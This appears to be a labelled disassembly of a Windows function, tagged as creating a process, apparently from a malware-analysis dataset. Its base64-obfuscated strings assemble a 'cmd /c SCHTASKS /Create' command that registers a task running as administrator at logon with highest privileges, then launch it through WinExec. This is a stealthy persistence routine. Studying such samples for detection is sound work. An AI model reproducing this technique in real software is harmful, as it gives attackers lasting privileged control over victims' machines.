Function at 0x140007e44
Capabilities:
Create process on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x128]
sub rsp, 0x200
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x14012e100]
xor rax, rsp
mov qword [rbp + 0xe8], rax
mov rdi, rdx
mov rbx, rcx
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 8], xmm1
lea r8d, [r12 + 0x30]
lea rdx, str.IC9STCBISUdIRVNUICAvU0MgT05MT0dPTiAvRiAIE5VTA
lea rcx, [rbp - 0x18]
call fcn.140002a40
nop
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0xa8]
call fcn.14000e8cc
mov rsi, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x28], xmm1
lea r8d, [r12 + 0x20]
lea rdx, str.IC9SVSBhZG1pbmlzdHJhdG9yIC9UTiA
lea rcx, [rbp - 0x38]
call fcn.140002a40
nop
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0x88]
call fcn.14000e8cc
mov r14, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x48], xmm1
lea r8d, [r12 + 0x28]
lea rdx, str.Y21kIC9jIFNDSFRBU0tTIC9DcmVhdGUgL1RSIA
lea rcx, [rbp - 0x58]
call fcn.140002a40
nop
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x68]
call fcn.14000e8cc
nop
lea r8d, [r12 + 4]
lea rdx, [0x1400771d4]
mov rcx, rax
call fcn.140004d10
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r12
lea r15d, [r12 + 0xf]
mov qword [rax + 0x18], r15
mov byte [rax], r12b
mov r8, qword [rdi + 0x10]
cmp qword [rdi + 0x18], r15
jbe 0x140007f75
mov rdi, qword [rdi]
mov rdx, rdi
lea rcx, [rbp - 0x80]
call fcn.140004d10
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x18], r15
mov qword [rax + 0x10], r12
mov byte [rax], r12b
mov r8d, 4
lea rdx, [0x1400771d4]
lea rcx, [rsp + 0x60]
call fcn.140004d10
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x58], xmm1
mov qword [rax + 0x18], r15
mov qword [rax + 0x10], r12
mov byte [rax], r12b
mov r8, r14
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x28]
call fcn.140005784
nop
mov edi, 1
mov r8d, edi
lea rdx, [0x1400771ac]
mov rcx, rax
call fcn.140004d10
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r15
mov byte [rax], r12b
mov r8, qword [rbx + 0x10]
cmp qword [rbx + 0x18], r15
jbe 0x140008041
mov rbx, qword [rbx]
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.140004d10
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x30], xmm1
mov qword [rax + 0x18], r15
mov qword [rax + 0x10], r12
mov byte [rax], r12b
mov r8, rdi
lea rdx, [0x1400771ac]
lea rcx, [rsp + 0x20]
call fcn.140004d10
movups xmm0, xmmword [rax]
movups xmmword [rbp + 8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x18], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r15
mov byte [rax], r12b
mov r8, rsi
lea rdx, [rbp + 8]
lea rcx, [rbp + 0xc8]
call fcn.140005784
nop
mov ebx, 0x1000
mov edi, 0x27
lea esi, [rdi - 8]
mov rdx, qword [rbp + 0x20]
cmp rdx, r15
jbe 0x1400080ff
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, rbx
jb 0x1400080f9
add rdx, rdi
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, rsi
ja 0x140008473
call fcn.140039760
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, r15
jbe 0x140008135
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, rbx
jb 0x140008130
add rdx, rdi
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, rsi
ja 0x140008479
call fcn.140039760
movdqa xmm6, xmmword [0x140122790]
movdqu xmmword [rsp + 0x30], xmm6
mov byte [rsp + 0x20], r12b
mov rdx, qword [rsp + 0x58]
cmp rdx, r15
jbe 0x14000817e
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, rbx
jb 0x140008179
add rdx, rdi
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, rsi
ja 0x14000847f
call fcn.140039760
movdqu xmmword [rsp + 0x50], xmm6
mov byte [rsp + 0x40], r12b
mov rdx, qword [rbp + 0x40]
cmp rdx, r15
jbe 0x1400081bd
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, rbx
jb 0x1400081b8
add rdx, rdi
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, rsi
ja 0x140008485
call fcn.140039760
movdqu xmmword [rbp + 0x38], xmm6
mov byte [rbp + 0x28], r12b
mov rdx, qword [rbp + 0x60]
cmp rdx, r15
jbe 0x1400081fb
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, rbx
jb 0x1400081f5
add rdx, rdi
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, rsi
ja 0x14000848b
call fcn.140039760
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, r15
jbe 0x140008231
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, rbx
jb 0x14000822c
add rdx, rdi
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, rsi
ja 0x140008491
call fcn.140039760
movdqu xmmword [rsp + 0x70], xmm6
mov byte [rsp + 0x60], r12b
mov rdx, qword [rbp - 0x68]
cmp rdx, r15
jbe 0x140008270
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, rbx
jb 0x14000826b
add rdx, rdi
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, rsi
ja 0x140008497
call fcn.140039760
movdqu xmmword [rbp - 0x70], xmm6
mov byte [rbp - 0x80], r12b
mov rdx, qword [rbp + 0x80]
cmp rdx, r15
jbe 0x1400082b0
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, rbx
jb 0x1400082ab
add rdx, rdi
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, rsi
ja 0x14000849d
call fcn.140039760
movdqu xmmword [rbp + 0x78], xmm6
mov byte [rbp + 0x68], r12b
mov rdx, qword [rbp - 0x40]
cmp rdx, r15
jbe 0x1400082ee
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, rbx
jb 0x1400082e8
add rdx, rdi
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, rsi
ja 0x1400084a3
call fcn.140039760
nop
mov rdx, qword [rbp + 0xa0]
cmp rdx, r15
jbe 0x140008328
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, rbx
jb 0x140008323
add rdx, rdi
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, rsi
ja 0x1400084a9
call fcn.140039760
movdqu xmmword [rbp + 0x98], xmm6
mov byte [rbp + 0x88], r12b
mov rdx, qword [rbp - 0x20]
cmp rdx, r15
jbe 0x14000836c
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, rbx
jb 0x140008366
add rdx, rdi
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, rsi
ja 0x1400084af
call fcn.140039760
nop
mov rdx, qword [rbp + 0xc0]
cmp rdx, r15
jbe 0x1400083a6
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, rbx
jb 0x1400083a1
add rdx, rdi
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, rsi
ja 0x1400084b5
call fcn.140039760
movdqu xmmword [rbp + 0xb8], xmm6
mov byte [rbp + 0xa8], r12b
mov rdx, qword [rbp]
cmp rdx, r15
jbe 0x1400083e9
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, rbx
jb 0x1400083e4
add rdx, rdi
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, rsi
ja 0x1400084bb
call fcn.140039760
lea rcx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], r15
cmova rcx, qword [rbp + 0xc8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
mov rdx, qword [rbp + 0xe0]
cmp rdx, r15
jbe 0x14000843d
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, rbx
jb 0x140008438
add rdx, rdi
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, rsi
ja 0x14000846d
call fcn.140039760
mov rcx, qword [rbp + 0xe8]
xor rcx, rsp
call fcn.140039740
lea r11, [rsp + 0x200]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
call fcn.14003fc10
nop
call fcn.14003fc10
nop
call fcn.14003fc10
nop
call fcn.14003fc10
nop
call fcn.14003fc10
nop
call fcn.14003fc10
nop
call fcn.14003fc10
nop
call fcn.14003fc10
nop
call fcn.14003fc10
nop
call fcn.14003fc10
nop
call fcn.14003fc10
nop
call fcn.14003fc10
nop
call fcn.14003fc10
nop
call fcn.14003fc10
int3